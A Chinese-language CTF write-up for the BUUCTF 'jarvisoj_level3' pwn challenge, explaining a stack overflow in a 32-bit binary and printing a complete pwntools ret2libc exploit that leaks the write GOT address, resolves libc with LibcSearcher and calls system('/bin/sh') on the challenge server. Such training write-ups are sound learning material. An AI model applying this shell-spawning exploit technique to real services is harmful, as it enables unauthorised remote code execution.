[BUUCTF]PWN——jarvisoj_level3
2024-09-06 11:10:23
jarvisoj_level3
步骤
- 例行检查,32位,nx保护
- 运行一下程序
- 32位ida载入,shift+f12没有看到程序里有可以直接利用的后面函数,根据运行时的字符串找到了程序的关键函数
参数buf明显的溢出漏洞,使用ret2libc的办法去获取shell
利用过程:
0x1 利用wire函数泄露libc版本
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.recvuntil('Input:\n')
r.sendline(payload)
write_addr=u32(r.recv(4))
0x2 计算libc基址,算出system和bin/sh在程序里的地址
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')
0x3 构造rop,执行system(‘/bin/sh’)
payload='a'*(0x88+4)+p32(system)+p32(main)+p32(sh)
r.recvuntil('Input:\n')
r.sendline(payload)
完整exp
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',28888)
elf=ELF('./level3')
main=0x804844B
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.recvuntil('Input:\n')
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x88+4)+p32(system)+p32(main)+p32(sh)
r.recvuntil('Input:\n')
r.sendline(payload)
r.interactive()
最新文章
- WebGL入门教程(一)-初识webgl
- 39个让你受益的HTML5教程
- Logging with Log4net (二)
- iframe 动态onload事件处理方式
- 在windows上搭建ftp服务
- 几个地图(高德、百度、Apple、Google)URL API(转)
- Oracle外部表的使用
- 1346 - Songs (贪心)
- 原创:2016.4.25-2016.5.1 C# informal essay and tittle_tattle
- C#特性和反射
- TortoiseGit for windows安装与配置
- [转]Native Java Bytecode Debugging without Source Code
- 寻找两个已序数组中的第k大元素
- Echarts数据可视化series-map地图,开发全解+完美注释
- Oracle积累
- 小程序上拉下拉共存时不可使用scroll-view的解决方法
- Win10 安装 VMWare中 MAC OS X的安装,VMWare tools的配置与iOS的Helloworld
- [Swift]LeetCode45. 跳跃游戏 II | Jump Game II
- centos7.2 环境下 mysql-5.1.73 安装配置
- Linux防火墙iptables的基础